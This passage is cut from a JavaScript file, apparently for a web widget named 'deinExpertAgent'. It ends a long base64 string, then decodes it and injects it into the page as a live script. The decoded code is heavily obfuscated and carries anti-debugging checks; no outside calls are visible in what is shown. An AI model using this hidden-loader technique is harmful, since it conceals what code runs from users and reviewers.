UiLDAsMTMyMCldKHJbaSgwLDAsOTY4LDAsIjF5dE4iKV0pO2Vsc2V7dmFyIGg9e0ZOTXJ0OmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHJbKG49NjI4LG89Ilo3YmQiLHMobywwLDAsMCxuLTQ2MykpXSh0LGUpO3ZhciBuLG99LFlZQkdlOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHJbKG49InViSTgiLG89LTE2NCx1KG4sMCxvLSAtMTYwNSkpXSh0LGUpO3ZhciBuLG99LFdSVFVBOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHJbKG49MjUyLG89Ik11cnciLGwoMCxvLDAsbi0gLTg4MykpXSh0LGUpO3ZhciBuLG99LFFFbUNXOnJbdSgiTykmVSIsMCwxMDUyKV0sVE1FenE6cltsKDAsIjF5dE4iLDAsMTMyNSldfTtyW2woMCwiVkEodSIsMCwxNDM2KV0oKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCh0LGUsbixyLG8pe3JldHVybiBsKDAsciwwLG8tIC0xNzE1KX12YXIgZSxuLHI7dHJ5e2U9aFt0KDAsMCwwLCJWQSh1IiwtMzQzKV0oXzB4M2UzOTYwLGhbdCgwLDAsMCwiUG9vdiIsLTYxNildKGhbdCgwLDAsMCwiclRiUiIsLTE5NyldKGhbKG49ODkwLHI9Im9PQkYiLGkoMCwwLG4tIC0xMjUsMCxyKSldLGhbdCgwLDAsMCwiY1hNMSIsLTE2OSldKSwiKTsiKSkoKX1jYXRjaChvKXtlPV8weDIxMDJmMn1yZXR1cm4gZX0pKVtsKDAsIm9PQkYiLDAsMTQ5NykrZCgiaTcoXiIsMCwtMTkzKSsibCJdKF8weDQ5ZTVmMyw0ZTMpfXJbaSgwLDAsMTQzNywwLCJyVGJSIildKGMsKyt0KX1lbHNlKGZ1bmN0aW9uKCl7cmV0dXJuITB9KVtsKDAsIkNFeCgiLDAsMTA1NikrZCgiTEZFTyIsMCwtMzA3KSsiciJdKFdbcygiNSROVSIsMCwwLDAsMjQwKV0oV1tzKCJyVGJSIiwwLDAsMCwtODApXSxXW2QoIlZBKHUiLDAsLTI4NildKSlbbCgwLCJsY1ZTIiwwLDE0MDUpXShXW2woMCwiKU5zdiIsMCwxMjMxKV0pfXRyeXtpZighclthKDAsMCwiZ0lCSCIsMCw3NjApXShyW2UoIlZAT0QiLDc3OCldLHJbbigiXVtVRyIsMCwwLDg5MSldKSl7dmFyIHM9XzB4M2E3MmE0W2EoMCwwLCJNdXJ3IiwwLDQ3MildKF8weDc2M2M0YSxhcmd1bWVudHMpO3JldHVybiBfMHgzYTIxZTU9bnVsbCxzfWlmKHQpe2lmKHJbbigiT15WQCIsMCwwLDEwOTkpXShyW24oIjUpc0giLDAsMCwxMDQ3KV0sclthKDAsMCwiTU0xcSIsMCw1MzIpXSkpcmV0dXJuIGM7aWYoXzB4NmZiNGYxKXt2YXIgZD1fMHgzMmViOGVbYSgwLDAsIlBvb3YiLDAsMzU1KV0oXzB4MmI4MTEyLGFyZ3VtZW50cyk7cmV0dXJuIF8weDUzNmJmYj1udWxsLGR9fWVsc2UgaWYocltvKCJPKSZVIiwwLDAsLTY3KV0ocltlKCIoOHE5Iiw1NTcpXSxyW2UoIihtaFsiLDk1MyldKSlyW2EoMCwwLCJPXlZAIiwwLDQ1MSldKGMsMCk7ZWxzZXt2YXIgdT17WnRyemg6clthKDAsMCwiWmpjayIsMCwzMTQpXSxjTWRLczpyW2koMCwwLC0xNzUsIjUkTlUiKV0seWdLZU46ZnVuY3Rpb24odCxlKXtyZXR1cm4gclsobz0iYnMoKCIsYT0tNDc2LG4obywwLDAsYS0gLTE0NDIpKV0odCxlKTt2YXIgbyxhfSxzb2JZbjpyW2EoMCwwLCJ2XnZpIiwwLDQwNyldLFB5V0tiOmZ1bmN0aW9uKHQsbil7cmV0dXJuIHJbKG89MTQwOCxhPSJaN2JkIixlKGEsby01MzYpKV0odCxuKTt2YXIgbyxhfSxKT2tFUDpyW28oInViSTgiLDAsMCwtMjc5KV0sUk1RZFQ6ZnVuY3Rpb24odCxuKXtyZXR1cm4gclsobz0iKU5zdiIsYT0tODQsZShvLGEtIC05MDgpKV0odCxuKTt2YXIgbyxhfSxGSndCTjpyW28oInclVTkiLDAsMCwxMzkpXSxQcGNuTzpmdW5jdGlvbih0KXtyZXR1cm4gclsoZT0iJk9uOSIsbj03OTcsYSgwLDAsZSwwLG4tNTU5KSldKHQpO3ZhciBlLG59fTtyW28oImVUZUoiLDAsMCwtMzY3KV0oXzB4Y2ZiZmEsdGhpcywoZnVuY3Rpb24oKXt2YXIgdD1uZXcgXzB4NDY4MzgzKHVbcyg2NjgsNTMzLDUzMCwiQ0V4KCIsNjQ0KV0pO2Z1bmN0aW9uIHIodCxlLG4scixhKXtyZXR1cm4gbyhyLDAsMCxlLSAtMjU5KX1mdW5jdGlvbiBpKHQsZSxyLG8sYSl7cmV0dXJuIG4odCwwLDAsZS0yODQpfXZhciBjPW5ldyBfMHgzYmZmZDkodVtyKDAsLTQwNiwwLCJPKSZVIildLCJpIik7ZnVuY3Rpb24gcyh0LG4scixvLGEpe3JldHVybiBlKG8sdC0gLTEwMSl9dmFyIGQsbCxXPXVbaSgidl52aSIsMTQyMyldKF8weDQ4YjcwYix1W2YoNTM1LCJWS1N5Iiw3NTUsNjY3LDUzOCldKTtmdW5jdGlvbiBmKHQsZSxuLHIsYSl7cmV0dXJuIG8oZSwwLDAsbi02ODgpfXRbaSgiZVRlSiIsMTExNildKHVbcigwLC0xMTcsMCwieUNGWyIpXShXLHVbZigwLCIobWhbIiw4MzkpXSkpJiZjW3MoNjA0LDAsMCwiTmZieSIpXSh1WyhkPSJWS1N5IixsPS0xNjAsYSgwLDAsZCwwLGwtIC01NDgpKV0oVyx1W2YoMCwiWjdiZCIsNTY3KV0pKT91W3IoMCwtNDQxLDAsIjUkTlUiKV0oXzB4NDI3NWI3KTp1W3MoNzQ1LDAsMCwiaTcoXiIpXShXLCIwIil9KSkoKX19Y2F0Y2gobCl7fX1HaVtQaSgiKDhxOSIsMzQ2KSsidCJdPWRvY3VtZW50W1JpKDAsMCwia0F6ciIsMCwtMTYpXSxuZXcgY2xhc3MgZXh0ZW5kcyBEdHtjb25zdHJ1Y3Rvcih0KXtzdXBlcigpLEh0KHRoaXMsdCxiaSx4aSx2LHt9LHZpKX19KEdpKTsK`


    function base64ToUtf8(base64) {
        return decodeURIComponent(escape(atob(base64)));
    }

    // Decode the Base64 encoded JavaScript code
    const decodedJsCode = base64ToUtf8(deinExpertAgent64);

    // Create a new script element
    const script = document.createElement('script');
    script.textContent = decodedJsCode;

    // Append the script element to the document head or body
    (document.head || document.body).appendChild(script);
})();